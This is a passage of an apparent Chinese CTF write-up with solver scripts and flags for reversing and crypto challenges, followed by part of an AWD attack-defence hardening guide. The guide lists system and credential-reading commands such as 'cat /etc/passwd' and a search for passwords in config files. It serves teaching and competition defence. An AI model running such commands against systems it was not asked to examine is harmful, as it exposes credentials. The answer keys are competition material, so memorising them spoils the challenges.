wddwwdddddDdwwwdddsdddddDwwWassaaaaaaaaAsssssssssSddwwdwwwwwWw

snake:

import ctypes

from Crypto.Cipher import ARC4

from hashlib import md5

 

libc = ctypes.CDLL("ucrtbase.dll")

libc.srand.argtypes = [ctypes.c_uint]

libc.rand.restype = ctypes.c_int

 

srand = libc.srand

rand = libc.rand

 

srand(0x94307F97)

seed_list = []

for i in range(361):

    seed_list.append(rand())

 

 

def enc(buf, size, seed):

    srand(seed)

    keysize = int(rand()*1.0/32767.0 * 256.0)

    table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\x00'

    pwd = ''

    for i in range(keysize):

        idx = int(rand()*1.0 / 32767.0 * 63.0)

        pwd += table[idx]

 

    cipher = ARC4.ARC4Cipher(pwd.encode())

    xorstream = b'\x00'*size

    xorstream = cipher.encrypt(xorstream)

    outbuf = bytearray(buf)

    for i in range(size):

        outbuf[i] ^= xorstream[i]

    return bytes(outbuf)

 

 

foods = []

for i in range(361):

    srand(seed_list[i])

    while 1:

        y = rand() % 20

        x = rand() % 20

        if not (x == 0 or x == 19 or y == 0 or y == 19):

            # print(i, y, x)

            foods.append((y, x))

            break

 

 

tmp = 0x92

 

data = b'\x02'

for i in range(2):

    data += bytes([data[-1] ^ 0xBE])

# print(data.hex())

 

flag_data = data[:]

eat_count = 361 # 初始长度就是3, 但是要求吃361个 ???

for i in range(eat_count):

    y, x = foods[i]

    pos = y << 8 | x

    data = enc(data, 3+i, pos)

    # print(data.hex())

 

    _tmp = tmp

    # print(hex(tmp-1), hex(data[0]-1))

    tmp = ((tmp-1) ^ (data[0]-1)) & 0xFF

    flag_data = data[:]

    data = data[::-1]

    data += bytes([_tmp])

    # print(hex(tmp))

 

s = flag_data.ljust(361, b'\x00').hex().encode()

print('flag_data', len(flag_data))

print('SYC{'+md5(s[:722]).hexdigest()+'}')

babythread:

断在0x411BDE位置,把输入替换成密文

(DE1C22271DAEAD65ADEF6E414C3475F1165050D448696D93361C863BBBD04C91)。

然后断在memcmp处, 拿到明文flag。

k='!This_program_cannot'
def Rc4_Encrypt(m,key):
    s=[]
    t=[]
    out=[] #putput
    for i in range(256):
        s.append(i)
        t.append(key[i%len(key)])

    j=0
    for i in range(256):
        j=(j+s[i]+t[i])%256
        s[i],s[j]=s[j],s[i]

    i,j=0,0
    for p in range(len(m)):
        i=(i+1)%256
        j=(j+s[i])%256

        s[i],s[j]=s[j],s[i]

        index=(s[i]+s[j])%256
        out.append(s[index]^m[p])
    print(bytes(out))

rck=[0x01, 0xE5, 0xD5, 0x40, 0xC3, 0xD5, 0x76, 0x36, 0xFE, 0x66, 0x2D, 0x05, 0xC9, 0xFB, 0x50, 0xE7]
enc=[0xDE, 0x1C, 0x22, 0x27, 0x1D, 0xAE, 0xAD, 0x65, 0xAD, 0xEF, 0x6E, 0x41, 0x4C, 0x34, 0x75, 0xF1, 0x16, 0x50, 0x50, 0xD4, 0x48, 0x69, 0x6D, 0x93, 0x36, 0x1C, 0x86, 0x3B, 0xBB, 0xD0, 0x4C, 0x91]
Rc4_Encrypt(enc,rck)

 

 

0129FE14  53 59 43 7B 54 68 31 73 5F 69 73 5F 40 5F 45 61  SYC{Th1s_is_@_Ea  
0129FE24  73 59 5F 33 6E 63 72 79 70 74 4F 21 21 21 21 7D  sY_3ncryptO!!!!}

3.gowhere


from claripy import *
from libnum import *


tmp_flag = [BVS(f'flag{i}', 8) for i in range(30)]
# x_flag = b'111111111122222222223333333333'
# tmp_flag = [BVV(x_flag[i], 8) for i in range(30)]
flag = Concat(*tmp_flag)
unk = 9


def enc1():
    global unk
    unk += 1
    if unk & 1 == 0:
        for i in range(30):
            tmp_flag[i] = (unk+tmp_flag[i]) ^ 0x17


def enc2():
    global unk
    unk += 1
    tmp_flag[0] += 2
    tmp_flag[1] -= 28
    tmp_flag[2] ^= 0x47
    tmp_flag[3] += tmp_flag[4]
    tmp_flag[5] += 73
    tmp_flag[6] += 12
    tmp_flag[7] -= tmp_flag[8]
    tmp_flag[8] ^= 0x5A
    tmp_flag[9] ^= 0x22
    tmp_flag[10] += 20
    tmp_flag[12] -= 84
    tmp_flag[13] ^= 4
    tmp_flag[14] ^= 0x1C
    tmp_flag[17] -= 1
    tmp_flag[27] ^= 0x11
    tmp_flag[28] ^= 3


def enc3():
    global unk
    if unk % 3 == 2:
        v13 = 0
        v11 = 29
        while v13 < 15:
            tmp_flag[v13], tmp_flag[v11] = tmp_flag[v11], tmp_flag[v13]
            v13 += 1
            v11 -= 1
    unk += 1


solve = Solver()
for i in range(4):
    enc1()
    enc2()
    enc3()

print(hex(unk))

enc_flag = bytes.fromhex(
    '4D635D344309A2770ABFC9B3E96F797D7BE899904308BB990E2ED47B27B7')

for i in range(30):
    solve.add(enc_flag[i] == tmp_flag[i])


for k in solve.eval(flag, 2):
    print(n2s(k))

# b'SYC{I_h0pE_you_cAn_FInd_d4eam}'

4.ezr3

脱壳,调试

魔改UPX,将文件中的HCK改为UPX即可通过 upx -d 脱壳。

 

3qvoylnfqmi13802.jpg

 

之后运行该文件发现报错信息如下,通过 system/bin/linker64 可知该文件为安卓平台下的ELF 

可执行文件 

 

wbddqs3fldy13803.jpg

 

之后即可将文件push到手机上并通过安卓真机+IDA调试

分析

main函数开头会修改内存中的数据,调试获取即可

 

qqrhd12osf413805.jpg

 

加密过程如下:循环移位、异或、乘法运算

 

fq1bgtjrfop13807.jpg

 

脚本:

unsigned int fin[36] = { 
0x0003B148, 0x000D2CAE, 0x0003A1FB, 0x00044F40, 0x000472DE, 0x0000CCC0, 
0x00001888, 0x00003B80, 
0x000702F7, 0x000C745C, 0x000658E0, 0x000858D4, 0x0000D5BD, 0x00004860, 
0x0014F410, 0x0002CB9F, 
0x000321DB, 0x0014D534, 0x00025DA0, 0x0006898C, 0x00123D56, 0x00058E4D, 
0x00050CF8, 0x00005D64, 
0x000978BA, 0x0008F290, 0x0003B568, 0x00054696, 0x00094C12, 0x0001021F, 
0x000DBACB, 0x00049680, 
0x0002FABD, 0x000F2B58, 0x0012D23C, 0x0014AED3 
}; 
unsigned long mul[36] = { 
0x0000000000000D21, 0x000000000000009D, 0x000000000000094B, 
0x00000000000003C9, 
0x0000000000000C3F, 0x00000000000017E9, 
0x000000000000130E, 0x0000000000000088,0x0000000000000486, 
0x000000000000202F, 
0x0000000000002230, 0x00000000000024B4, 
0x00000000000008B1, 0x0000000000000A9F, 0x0000000000001AD2, 
0x00000000000023EB, 
0x0000000000000C7E, 0x000000000000042B, 
0x00000000000005BF, 0x000000000000113C,0x0000000000000449, 
0x0000000000001751, 
0x0000000000000ACE, 0x0000000000001894, 
0x000000000000208A, 0x0000000000000E82, 0x00000000000006BD, 
0x0000000000000CEE,0x0000000000002386, 0x00000000000013D4, 0x0000000000000111, 
0x0000000000000D1C, 
0x000000000000238E, 0x0000000000001759, 0x000000000000012B, 
0x000000000000214D 
}; 
unsigned char flag[40] = { 0 }; 
unsigned long* a = &mul[18]; 
for (int i = 0; i < 36; i += 6) { 
flag[i] = fin[i] / (*(a - 18)); 
flag[i + 1] = fin[i + 1] / (*(a - 12)); 
flag[i + 2] = fin[i + 2] / (*(a - 6)); 
flag[i + 3] = fin[i + 3] / (*(a)); 
flag[i + 4] = fin[i + 4] / (*(a + 6)); 
flag[i + 5] = fin[i + 5] / (*(a + 12)); 
a++; 
} 
int j = 0; 
for (int i = 35; i >= 0; --i) { 
flag[i] ^= flag[j++]; 
flag[i] = ((flag[i] >> 4) | (flag[i] << 4)) & 0xff; 
} 
printf("%s", flag);

 

yxyxg4g2fne13808.jpg  

 

 

 

 

 

 

五、CRYPTO

1.signin

关键点是求出data1,data2。通过data3 = ring(data1 / data2)

我们可以使用连分数求解。

脚本1:

import gmpy2
from Crypto.Util.number import long_to_bytes


#求出data1,data2
data3=1.42870767357206600351348423521722279489230609801270854618388981989800006431663026299563973511233193052826781891445323183272867949279044062899046090636843802841647378505716932999588


c = continued_fraction(data3)
print(c)


alist = c.convergents()
print(alist)


for i in alist:
a = str(i).split('/')
if len(a) > 1 and gcd(int(a[0]), int(a[1])) == 1 and is_prime(int(a[0])) and is_prime(int(a[1])) and int(
a[0]).bit_length() == 256 and int(a[1]).bit_length() == 256:
print(a)
break
#['97093002077798295469816641595207740909547364338742117628537014186754830773717', '67958620138887907577348085925738704755742144710390414146201367031822084270769']


#解密leak得到p-q
data1=97093002077798295469816641595207740909547364338742117628537014186754830773717
data2=67958620138887907577348085925738704755742144710390414146201367031822084270769
leak=1788304673303043190942544050868817075702755835824147546758319150900404422381464556691646064734057970741082481134856415792519944511689269134494804602878628
e=data1
n=data1*data2
phi = (data1-1) * (data2-1)
d = gmpy2.invert(e,phi)
p_q = gmpy2.powmod(leak,d,n)
print(p_q)


#求解p,q
p_q=57684649402353527014234479338961992571416462151551812296301705975419997474236
n=2793178738709511429126579729911044441751735205348276931463015018726535495726108249975831474632698367036712812378242422538856745788208640706670735195762517
e = 65537
c = 1046004343125860480395943301139616023280829254329678654725863063418699889673392326217271296276757045957276728032702540618505554297509654550216963442542837
var("p,q")
eq1= p-q ==p_q
eq2= p*q ==n
sol = solve([eq1,eq2], p, q)
print(sol)


p = 89050782851818876669770322556796705712770640993210984822169118425068336611139
q = 31366133449465349655535843217834713141354178841659172525867412449648339136903
phi = (q-1) * (p-1)
d = gmpy2.invert(e,phi)
m = gmpy2.powmod(c,d,n)-data2
print(m)
print(long_to_bytes(m))
 

脚本2:

 

 

data3 = 1.42870767357206600351348423521722279489230609801270854618388981989800006431663026299563973511233193052826781891445323183272867949279044062899046090636843802841647378505716932999588
 
c = continued_fraction(data3)
alist = c.convergents()
 
for i in alist:
    a = str(i).split('/')
    if len(a)>1 and gcd(int(a[0]),int(a[1])) == 1 and is_prime(int(a[0])) and is_prime(int(a[1])) and int(a[0]).bit_length()==256 and int(a[1]).bit_length()==256:
        print(a)
        break
 
data1 = int(a[0])
data2 = int(a[1])
 
c = 1046004343125860480395943301139616023280829254329678654725863063418699889673392326217271296276757045957276728032702540618505554297509654550216963442542837
n = 2793178738709511429126579729911044441751735205348276931463015018726535495726108249975831474632698367036712812378242422538856745788208640706670735195762517
leak = 1788304673303043190942544050868817075702755835824147546758319150900404422381464556691646064734057970741082481134856415792519944511689269134494804602878628
 
tmp = leak % data1
paq = sqrt(tmp**2 + 4*n)
phi = n - paq + 1
 
d = inverse_mod(65537, phi)
m = pow(c, d, n)
print(int(m - data2).to_bytes(50,'big'))
3mkwivwfjnq13809.jpg SYC{a00338c150aa3a5163dbf404100e6754}


 

2.crazyTreat

关键在于构建关于m的多项式

$$P=m^p \pmod {p*q*r} \\
Q=m^q \pmod {p*q*r} \\
R=m^R \pmod {p*q*r} \\
 
费马小定理:\\
m^p=m \pmod p \\
P=m+k1*p+k2*pqr=m+k3*p \\
Q,R同理 \\\qquad\text{(1)}$$

即:

$$P=m+k3*p\\
Q=m+k4*q\\
R=m+k5*r\\

且:

k_3p=P-M,k_4q=Q-m,k_5r=R-m\\

所以:

P*Q*R-m^3-m*(P-m)*(Q-m)-m^2*((P-m)+(Q-m))-(R-m)*m^2-m*((P-m)+(Q-m))*(R-m)\equiv 0 \pmod n\qquad\text{(2)}$$
 
脚本1:
from Crypto.Util.number import *
import gmpy2
#coppersmith
clown = 128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209
trick = 13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464455212126838976863742628716168391373019631629866746550551576576


n = clown
p = trick


pbits = 512
kbits = 220
p=p>>kbits<<kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p
x0 = f.small_roots(X=2^kbits, beta=0.4)
p=p+int(x0[0])
print(p)


#构建关于m的多项式求解即可,m即为r
n = 924936528644761261915490226270682878749572154775391302241867565751616615723850084742168094776229761548826664906020127037598880909798055174894996273670320006942669796769794827782190025101253693980249267932225152093301291975335342891074711919668098647971235568200490825183676601392038486178409517985098598981313504275523679007669267428032655295176395420598988902864122270470643591017567271923728446920345242491655440745259071163984046349191793076143578695363467259
P = 569152976869063146023072907832518894975041333927991456910198999345700391220835009080679006115013808845384796762879536272124713177039235766835540634080670611913370463720348843789609330086898067623866793724806787825941048552075917807777474750280276411568158631295041513060119750713892787573668959642318994049493233526305607509996778047209856407800405714104373282610244944206314614906974275396096712817649817035559000245832673082730407216670764400076473183825246052
Q = 600870923560313304359037202752076267074889238956345564584928427345594724253036201151726541881494799597966727749590645445697106549304014936202421316051605075583257261728145977582815350958084624689934980044727977015857381612608005101395808233778123605070134652480191762937123526142746130586645592869974342105683948971928881939489687280641660044194168473162316423173595720804934988042177232172212359550196783303829050288001473419477265817928976860640234279193511499
R = 502270534450244040624190876542726461324819207575774341876202226485302007962848054723546499916482657212105671666772860609835378197021454344356764800459114299720311023006792483917490176845781998844884874288253284234081278890537021944687301051482181456494678641606747907823086751080399593576505166871905600539035162902145778102290387464751040045505938896117306913887015838631862800918222056118527252590990688099219298296427609455224159445193596547855684004680284030


PR.<m> = PolynomialRing(Zmod(n))
f = P*Q*R-m*m*m-m*(P-m)*(Q-m)-m*m*((P-m)+(Q-m))-(R-m)*m*m-m*((P-m)+(Q-m))*(R-m)
f = f.monic()
m = f.small_roots(X=2^280, beta=0.4)
print(m)


r=m


#直接解密即可
r=105960538296223496551922954965164644267919720177702173352061963871195469608683
p=13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464531559991042565319610790540616696456104018890243275374098291711
c = 10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949
e = 65537
n=p*r
phi = (r-1) * (p-1)
d = gmpy2.invert(e,phi)
m = gmpy2.powmod(c,d,n)
print(m)
print(long_to_bytes(m))

 

 

首先已知高位攻击,由于flag没填充,直接就可以出了。不需要解第三个素数了

脚本2:

c=10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949

clown =  128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209

trick =  13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464455212126838976863742628716168391373019631629866746550551576576

'''

len_bin=len(bin(trick)[2:])

high='11111001001110111100110011111101010101010101000011001011000101010010000100011011110111000011000101101111000110110001010111001101111110111100000111110011111001010100101001110111010001011011100111000100100000110101111101010011010001101111101001111111000111011001010101100000011110000100100010010010011100101'

high_len=len(high)

low_len=512-high_len

PR.<x> = PolynomialRing(Zmod(clown))

f = int(high,2)*2^low_len +x

x0 = f.small_roots(X=2^low_len, beta=0.4)[0]

#76347864203588455868161824448305083084387260376528823546715135

p=int(high,2)*2^low_len +x0

print(p)

'''

p=13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464531559991042565319610790540616696456104018890243275374098291711

q=clown//p

phi=(p-1)*(q-1)

from Crypto.Util.number import *

d=inverse(65537,phi)

print(long_to_bytes(pow(c,d,clown)))

 

脚本3:

 

clown =  128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209
trick =  13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464455212126838976863742628716168391373019631629866746550551576576

n = 924936528644761261915490226270682878749572154775391302241867565751616615723850084742168094776229761548826664906020127037598880909798055174894996273670320006942669796769794827782190025101253693980249267932225152093301291975335342891074711919668098647971235568200490825183676601392038486178409517985098598981313504275523679007669267428032655295176395420598988902864122270470643591017567271923728446920345242491655440745259071163984046349191793076143578695363467259
P = 569152976869063146023072907832518894975041333927991456910198999345700391220835009080679006115013808845384796762879536272124713177039235766835540634080670611913370463720348843789609330086898067623866793724806787825941048552075917807777474750280276411568158631295041513060119750713892787573668959642318994049493233526305607509996778047209856407800405714104373282610244944206314614906974275396096712817649817035559000245832673082730407216670764400076473183825246052
Q = 600870923560313304359037202752076267074889238956345564584928427345594724253036201151726541881494799597966727749590645445697106549304014936202421316051605075583257261728145977582815350958084624689934980044727977015857381612608005101395808233778123605070134652480191762937123526142746130586645592869974342105683948971928881939489687280641660044194168473162316423173595720804934988042177232172212359550196783303829050288001473419477265817928976860640234279193511499
R = 502270534450244040624190876542726461324819207575774341876202226485302007962848054723546499916482657212105671666772860609835378197021454344356764800459114299720311023006792483917490176845781998844884874288253284234081278890537021944687301051482181456494678641606747907823086751080399593576505166871905600539035162902145778102290387464751040045505938896117306913887015838631862800918222056118527252590990688099219298296427609455224159445193596547855684004680284030

c =  10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949

PR.<x>=Zmod(clown)[]
f=trick+x
for cut in range(1,256):
    r=f.small_roots(X=2^cut,beta=0.4)
    if r:
        r=a[0]
        break

p=GCD(ZZ(f(r)),clown)
q=clown//p

PR.<x>=Zmod(n)[]
f=(P-x)*(Q-x)*(R-x)
f=f.monic()
m=ZZ(f.small_roots(X=2^256)[0])

N =p*q*m
phi = (p-1)*(q-1)*(m-1)
e = 65537
d = inverse_mod(e,phi)
m = pow(c,d,N)
from Crypto.Util.number import *
print(long_to_bytes(ZZ(m)))

 

 

3.Alexei needs help

将迭代改为循环即可

 

from random import randint

import gmpy2 as gp

from Crypto.Util.number import *

from Crypto.Cipher import AES

from hashlib import md5

from binascii import *

 

from tqdm import tqdm

 

a =  12760960185046114319373228302773710922517145043260117201359198182268919830481221094839217650474599663154368235126389153552714679678111020813518413419360215

b =  10117047970182219839870108944868089481578053385699469522500764052432603914922633010879926901213308115011559044643704414828518671345427553143525049573118673

m =  9088893209826896798482468360055954173455488051415730079879005756781031305351828789190798690556659137238815575046440957403444877123534779101093800357633817

seq =  [1588310287911121355041550418963977300431302853564488171559751334517653272107112155026823633337984299690660859399029380656951654033985636188802999069377064, 12201509401878255828464211106789096838991992385927387264891565300242745135291213238739979123473041322233985445125107691952543666330443810838167430143985860, 13376619124234470764612052954603198949430905457204165522422292371804501727674375468020101015195335437331689076325941077198426485127257539411369390533686339, 8963913870279026075472139673602507483490793452241693352240197914901107612381260534267649905715779887141315806523664366582632024200686272718817269720952005, 5845978735386799769835726908627375251246062617622967713843994083155787250786439545090925107952986366593934283981034147414438049040549092914282747883231052, 9415622412708314171894809425735959412573511070691940566563162947924893407832253049839851437576026604329005326363729310031275288755753545446611757793959050, 6073533057239906776821297586403415495053103690212026150115846770514859699981321449095801626405567742342670271634464614212515703417972317752161774065534410, 3437702861547590735844267250176519238293383000249830711901455900567420289208826126751013809630895097787153707874423814381309133723519107897969128258847626, 2014101658279165374487095121575610079891727865185371304620610778986379382402770631536432571479533106528757155632259040939977258173977096891411022595638738, 10762035186018188690203027733533410308197454736009656743236110996156272237959821985939293563176878272006006744403478220545074555281019946284069071498694967]

ct = 0x37dc072bdf4cdc7e9753914c20cbf0b55c20f03249bacf37c88f66b10b72e6e678940eecdb4c0be8466f68fdcd13bd81

 

n = 2023

 

def seqsum(i):

    ans = 0

    for j in range(len(seq)):

        ans += gp.powmod(i, j, m) * seq[j]

    return ans

 

 

def home1work(n):

    if n == 1:

        return 1

    elif n == 2:

        return 1

    else:

        previous, current = 1, 1

        for i in tqdm(range(3, n + 1)):

            previous, current = current, (a * current + b * previous + seqsum(i)) % m

        return current

 

ans = home1work(n)

 

k = unhexlify(md5(str(ans).encode()).hexdigest())

aes = AES.new(k, AES.MODE_ECB)

#data = flag + (16 - len(flag) % 16) * b"\x00"

data=long_to_bytes(ct)

ct = aes.decrypt(data)

print(ct)

#b"c7ceedc7197a0d350025fff478f667293ebbaa6b'\x00\x00\x00\x00\x00\x00\x00"

 

或者脚本:

memo = {}

import sys

 

sys.setrecursionlimit(100000)  

import gmpy2 as gp

 

a = 12760960185046114319373228302773710922517145043260117201359198182268919830481221094839217650474599663154368235126389153552714679678111020813518413419360215

b = 10117047970182219839870108944868089481578053385699469522500764052432603914922633010879926901213308115011559044643704414828518671345427553143525049573118673

m = 9088893209826896798482468360055954173455488051415730079879005756781031305351828789190798690556659137238815575046440957403444877123534779101093800357633817

seq = [

    1588310287911121355041550418963977300431302853564488171559751334517653272107112155026823633337984299690660859399029380656951654033985636188802999069377064,

    12201509401878255828464211106789096838991992385927387264891565300242745135291213238739979123473041322233985445125107691952543666330443810838167430143985860,

    13376619124234470764612052954603198949430905457204165522422292371804501727674375468020101015195335437331689076325941077198426485127257539411369390533686339,

    8963913870279026075472139673602507483490793452241693352240197914901107612381260534267649905715779887141315806523664366582632024200686272718817269720952005,

    5845978735386799769835726908627375251246062617622967713843994083155787250786439545090925107952986366593934283981034147414438049040549092914282747883231052,

    9415622412708314171894809425735959412573511070691940566563162947924893407832253049839851437576026604329005326363729310031275288755753545446611757793959050,

    6073533057239906776821297586403415495053103690212026150115846770514859699981321449095801626405567742342670271634464614212515703417972317752161774065534410,

    3437702861547590735844267250176519238293383000249830711901455900567420289208826126751013809630895097787153707874423814381309133723519107897969128258847626,

    2014101658279165374487095121575610079891727865185371304620610778986379382402770631536432571479533106528757155632259040939977258173977096891411022595638738,

    10762035186018188690203027733533410308197454736009656743236110996156272237959821985939293563176878272006006744403478220545074555281019946284069071498694967]

n = 2023

 

 

def seqsum(i):

    if i in memo:

        return memo[i]

 

    ans = 0

    for j in range(len(seq)):

        ans += gp.powmod(i, j, m) * seq[j]

 

    memo[i] = ans

    return ans

 

 

def homework(i):

    if i in memo:

        return memo[i]

 

    if i == 1:

        result = 1

    elif i == 2:

        result = 1

    else:

        result = (a * homework(i - 1) + b * homework(i - 2) + seqsum(i)) % m

 

    memo[i] = result

    return result

 

 

result = homework(2023)

ct = '37dc072bdf4cdc7e9753914c20cbf0b55c20f03249bacf37c88f66b10b72e6e678940eecdb4c0be8466f68fdcd13bd81'

from Crypto.Cipher import AES

from binascii import *

from hashlib import *

 

k = unhexlify(md5(str(result).encode()).hexdigest())

aes = AES.new(k, AES.MODE_ECB)

aes = AES.new(key=k, mode=AES.MODE_ECB)

 

print(aes.decrypt(unhexlify(ct)))

 

 

 

 

题目附件:链接:https://pan.baidu.com/s/1DWfylZ-VV9zKgiOHiGj8tw   提取码:kdfw 

 

 

 

 

参考文章

https://mp.weixin.qq.com/s/azbY19cBgs3MgVdo7i-OhQ

https://blog.csdn.net/jyttttttt/article/details/131146160

https://www.cnblogs.com/Aann/p/17473430.html

https://mp.weixin.qq.com/s/O8RXt7lOift-pgIiTJJY2g

https://mp.weixin.qq.com/s/azbY19cBgs3MgVdo7i-OhQ

https://mp.weixin.qq.com/s/ghQQ59c-K9C1VADVW-eVZQ

 https://mp.weixin.qq.com/s/Gi3dQ3mDs3mZCRGtT4l_dg

0# 什么是AWD

0.1# AWD赛制介绍

「 攻防模式 | AWD (Attack With Defense) 」 是 CTF比赛 「CTF Capture The Flag」 几种主要的比赛模式之一,该模式常见于线下赛。

在该模式中,每个队伍都拥有一个相同的初始环境 ( 我们称其为 GameBox ),该环境通常运行着一些特定的服务或应用程序,而这些服务通常包含一些安全漏洞。参赛队伍需要挖掘利用对方队伍服务中的安全漏洞,获取 Flag 以获得积分; 同时,参赛队伍也需要修补自身服务漏洞进行防御,以防被其他队伍攻击和获取 Flag。

主要特点为:强调实战性、实时性、对抗性,综合考量竞赛队的渗透能力和防护能力。

0.2# 比赛整体流程

  • 赛前准备环节:我们会分配到多个靶机服务器,通常是分配给我们 SSH 或者 VNC 的用户名和密码,还有相关IP等信息
  • 安全加固环节:我们需要先自己去登录靶机服务器,进行30分钟的安全加固(源码备份/弱口令修改/代码审计和修复/漏洞修复等)
  • 自由攻击环节:安全加固时间过后,开始自由攻击环节,通过对别的队伍的靶机服务器进行攻击(弱口令/Web漏洞/系统漏洞等)获得Flag进行加分,对应队伍失分

1# 比赛环境

通常比赛环境有以下三种情况:

  • 混合靶机情况:运维机器 Windows 10 + 攻击机 Kali Linux + Win靶机 Windows Server 2003/2008/2012 或者 Windows 7 + Linux靶机 Centos7.x 或者 Ubuntu 16.04/17.01/20.04
  • 纯Linux靶机情况:运维机器 Windows 10 + 攻击机 Kali Linux + Linux靶机 Centos7.x 或者 Ubuntu 16.04/17.01/20.04
  • 纯Windows靶机情况:运维机器 Windows 10 + 攻击机 Kali Linux + Win靶机 Windows Server 2003/2008/2012 或者 Windows 7

2# 安全加固环节(Defense)

2.0# 基本加固流程

2.0.1 Windows加固流程

先备份:Web源码、数据库

  1. 445加固,开启防火墙或IP高级安全策略
  2. 开启系统日志审计功能
  3. 禁用guest账户、关闭文件共享
  4. 确保启动项内容是可控的
  5. 限制3389远程访问控制的连接数:在本地组策略编辑器里面,依次展开计算机配置-->管理模板-->Windows组件-->远程桌面服务-->远程桌面会话主机-->连接-->限制连接的数量
  6. 使用工具监控关键目录文件:文件操作监控.exe、御剑文件监控.exe
  7. 恶意代码文件,通过PCHunter、Monitor查找
  8. Web目录环境查找相关可疑文件:jpg/png/rar,查看属性、解压看文件内容
  9. NTFS扫描磁盘查找隐藏的交换流数据
  10. 查找系统所有账户信息,禁止非Administrator账户
  11. 修改Web站点管理员访问路径、默认口令、数据库口令
  12. 安装WAF脚本,防护Web站点,禁止其他漏洞

2.0.2 Linux加固流程

先备份:Web源码、数据库

  1. 系统口令修改,团队统一口令
  2. 通过 .bash_history 查找历史命令操作,发现痕迹
  3. 查看计划任务:crontab -l;编辑计划任务:crontab -e
  4. 查看 /etc/init.d/rc.local 中启动服务有无异常
  5. 使用脚本开启进程监控、目录监控、流量监控
  6. Web站点口令,站点管理员路径修改
  7. 系统加固:iptable

2.1# 基本信息搜集

在防守的时候,信息搜集也很重要,正所谓“知己知彼,百战不殆”

2.1.1 明确Linux机器信息

uname -a                       //系统信息
ps -aux                        //查询进程信息
ps -ef | grep 进程名称         //筛选指定进程
id                             //用于显示用户ID,以及所属群组ID
cat /etc/passwd                //查看用户情况
ls /home/                      //查看用户情况
find / -type d -perm -002      //可写目录检查
ifconfig                       //Linux上查看网卡信息

2.1.2 明确Windows机器信息

whoami /all                    //Windows上查看用户详细信息
ipconfig  /all                 //Windows上查看网卡信息

2.1.3 查看开放端口

netstat                                                       //查看活动连接
netstat -ano/-a                                               //查看端口情况
netstat -anp                                                  //查看端口
firewall-cmd --zone= public --remove-port=80/tcp –permanent   //关闭端口
firewall-cmd –reload                                          //防火墙重启

2.1.4 默认口令(弱口令)更改

为了防范弱口令攻击,Mysql密码默认都是root,phpstudy默认密码123456

还有其他默认密码admin,top100, top1000等

尤其是WEB应用的后台密码修改

passwd username                                                  //ssh口令修改
set password for mycms@localhost = password('18ciweufhi28746');  //MySQL密码修改
find /var/www//html -path '*config*’                             //查找配置文件中的密码凭证

2.1.5 找本地Flag

grep -r "flag" /var/www/html/  //Linux:在Web目录下查找flag
findstr /s /i "flag" *.*       //Windows:当前目录以及所有子目录下的所有文件中查找"flag"这个字符串

2.1.6 设置禁Ping

echo "1" > /proc/sys/net/ipv4/icmp_echo_ignore_all     //临时开启禁ping
echo "0" > /proc/sys/net/ipv4/icmp_echo_ignore_all     //关闭禁ping

2.2# Web安全加固

2.2.1 备份源码

防止在对源码进行修改时出问题,或者被攻击方删除源码而准备

压缩源码:

tar -cvf web.tar /var/www/html
zip -q -r web.zip /var/www/html

解压缩源码:

tar -xvf web.tar -c /var/www/html
unzip web.zip -d /var/www/html

备份源码:

mv web.tar /tmp
mv web.zip /home/xxx

上传和下载源码:

scp username@servername:/path/filename /tmp/local_destination  //从服务器下载单个文件到本地
scp /path/local_filename username@servername:/path             //从本地上传单个文件到服务器
scp -r username@servername:remote_dir/ /tmp/local_dir          //从服务器下载整个目录到本地
scp -r /tmp/local_dir username@servername:remote_dir           //从本地上传整个目录到服务器

2.2.2 设置只读权限

对Web文件设置只读和执行权限(PHP等动态语言需要执行权限)

chmod 0555 /var/www/html/*
chmod 0555 /var/www/html/*.php

Web根目录设置只读和执行权限

chmod 0555 /var/www/html

改变文件的属主和属组来设置严格的权限

chown -R root:root /var/www/html/        //设置拥有人为 root:root 或 httpd:httpd (推荐)
chown -R apache:apache /var/www/html/    //确保 apache 拥有 /var/www/html/

2.2.3 配置 .htaccess

利用 .htaccess 配置文件禁止php文件执行

<Directory "/var/www/html/upload">   //指定目录后续的指令将应用于该目录
Options -ExecCGI -Indexes            //禁用了目录中的 CGI 执行和目录索引(显示目录内容列表)功能。
AllowOverride None                   //不允许在该目录中使用 .htaccess 文件来覆盖服务器的配置。
RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml  
RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml      
//这两个指令移除指定文件扩展名的处理器和类型。
//在这种情况下,这些指令从 Apache 的处理列表中移除了与 PHP 相关的扩展名和服务器端包含(SSI)文件类型。
php_flag engine off     //这个指令将 PHP 的引擎标志(engine)设置为关闭状态,从而禁用了在该目录中执行 PHP 脚本的能力。
<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
deny from all
